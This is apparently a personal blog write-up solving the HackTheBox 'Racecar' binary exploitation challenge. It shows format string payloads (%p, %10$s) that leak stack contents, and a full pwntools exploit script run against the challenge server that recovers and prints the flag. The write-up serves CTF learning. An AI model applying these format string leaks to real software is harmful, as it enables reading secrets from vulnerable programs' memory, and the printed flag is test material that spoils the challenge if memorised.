HackTheBox – Racecar Write-up

Hi everyone!

Today’s writeup is on Racecar, a very easy pwn (binary exploitation) challenge on HackTheBox. This challenge is on format string attack. Let’s get started!

Files

Given file:

Scripts/database made by me:

Tools required

Outlook

There are many paths to choose from, but the way to win and reach the vulnerable section is shown below:

Format string vulnerability

Inside the car_menu() after winning the race as shown in Ghidra:

Leaking the content of the stack

[!] Do you have anything to say to the press after your big victory?
> AAAAAAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p

The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: 
AAAAAAAA 0x5783c1c0 0x170 0x56636dfa 0x36 0x1 0x26 0x2 0x1 0x5663796c 0x5783c1c0 0x5783c340 0x7b425448 0x5f796877 0x5f643164 0x34735f31 0x745f3376 0x665f3368 0x5f67346c 0x745f6e30 0x355f3368 0x6b633474 0x7d213f 0x6eaac300 0xf7f063fc 0x56639f8c 0xffc97978 0x56637441 0x1

We can see the contents of the stack are leaked! However, we won’t be able to see 0x41414141 as our input is stored in a char pointer (char *__format) instead of storing in a char array in car_menu().

Finding offset of *__format

We first have to use this format to iterate through the stack:

%<offset>$s

Once we reach offset 10, we can see it returns back the content of *__format pointer which is the string that we input.

[!] Do you have anything to say to the press after your big victory?
> %10$s                                                                                                                                                                                                                                      

The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: 
%10$s

Knowing which variable stores flag.txt’s content

Initially, flagtxtcontent is local_3c but I renamed it after noticing the content of flag.txt is stored in it.

Hence, the variables in the declaration section look like this (not accurate):

However, Ghidra is sometimes untrustworthy. The nice thing about it is it offers free decompilation. It is good for a quick understanding of the code, but when we dive deep, we should trust the output of IDA:

Hence we now know the start of the flagtxtcontent variable is immediately after the flag.txt file descriptor (fd).

Leaking the flag

Code before adding formatting function:

from pwn import *

offset_start_flag = 12
len_of_flag = 44
offset_end_flag = offset_start_flag + (44 // 4) 	# 44 characters / 4 bytes per hexadecimal = 11 hexadecimals


formatstring = ""

for i in range(offset_start_flag, offset_end_flag):
	formatstring += "%"+str(i)+"$p "


r = remote("159.65.51.138", 31474)

r.sendlineafter("Name: ", "a")
r.sendlineafter("Nickname: ", "a")
r.sendlineafter("> ", "2")
r.sendlineafter("> ", "2")
r.sendlineafter("> ", "1")

r.sendlineafter("> ", formatstring)
r.recv()
response = r.recv()

# need to format output

print(response)

The code above will produce this output:

We can see the flag is in little-endian format and some extra characters prepended to it which we must remove:

b'\n\x1b[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: \x1b[0m\n0x7b425448 0x5f796877 0x5f643164 0x34735f31 0x745f3376 0x665f3368 0x5f67346c 0x745f6e30 0x355f3368 0x6b633474 0x7d213f \n'

The green text shows the flag.

Offset calculation

11 offsets were needed to read the whole flag as Ghidra showed us the flagtxtcontent variable has 44 indexes/characters. Each hexadecimal (0x11223344) will contain 4 bytes of characters. Hence 44 bytes / 4 bytes = 11 hexadecimal. Since we know the flag starts from the 12th offset and ends at the 22th offset.

offset_start_flag = 12
len_of_flag = 44
offset_end_flag = offset_start_flag + (44 // 4) 	# 44 characters / 4 bytes per hexadecimal = 11 hexadecimals

Little-endian

Note that the first part of the flag is 0x7b425448. If we convert to ASCII, it is “{BTH”. Usually, HackTheBox’s flag is in this format: HTB{xxxx….xxx}

To solve it:

preflag = (response.decode("utf-8").split("m\n"))[1]
preflag = preflag.split()

flag = ""
for hexdecimal in preflag:
	flag += p32(int(hexdecimal, base=16)).decode("utf-8")

Final code

from pwn import *

offset_start_flag = 12
len_of_flag = 44
offset_end_flag = offset_start_flag + (44 // 4) 	# 44 characters / 4 bytes per hexadecimal = 11 hexadecimals


formatstring = ""

for i in range(offset_start_flag, offset_end_flag):
	formatstring += "%"+str(i)+"$p "


r = remote("159.65.51.138", 31474)

r.sendlineafter("Name: ", "a")
r.sendlineafter("Nickname: ", "a")
r.sendlineafter("> ", "2")
r.sendlineafter("> ", "2")
r.sendlineafter("> ", "1")

r.sendlineafter("> ", formatstring)
r.recv()
response = r.recv()

# Format output
preflag = (response.decode("utf-8").split("m\n"))[1]
preflag = preflag.split()

flag = ""
for hexdecimal in preflag:
	flag += p32(int(hexdecimal, base=16)).decode("utf-8")

print(flag)

Manual way (Optional)

Of course, you can also do it manually which looks like this:

However, if we do everything in Python, we can automate the process of converting little-endian to big-endian and convert hexadecimal to ASCII easily.

Get flag

$ python3 leakflag.py                                                                                                                                                                                                                  
[+] Opening connection to 159.65.51.138 on port 31474: Done
/home/soulx/Documents/CTF/HackTheBox/Pwn/Racecar/leakflag.py:16: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendlineafter("Name: ", "a")
/home/soulx/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
/home/soulx/Documents/CTF/HackTheBox/Pwn/Racecar/leakflag.py:17: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendlineafter("Nickname: ", "a")
/home/soulx/Documents/CTF/HackTheBox/Pwn/Racecar/leakflag.py:18: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendlineafter("> ", "2")
/home/soulx/Documents/CTF/HackTheBox/Pwn/Racecar/leakflag.py:19: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendlineafter("> ", "2")
/home/soulx/Documents/CTF/HackTheBox/Pwn/Racecar/leakflag.py:20: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendlineafter("> ", "1")
/home/soulx/Documents/CTF/HackTheBox/Pwn/Racecar/leakflag.py:22: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  r.sendlineafter("> ", formatstring)
HTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}\x00
[*] Closed connection to 159.65.51.138 port 31474

Flag: HTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}

I hope this post has been helpful to you. Feel free to leave any comments below. If you like my content, remember to follow me via email. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my milk tea addiction. The link is here. 🙂

Leave a Reply

Please log in using one of these methods to post your comment:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.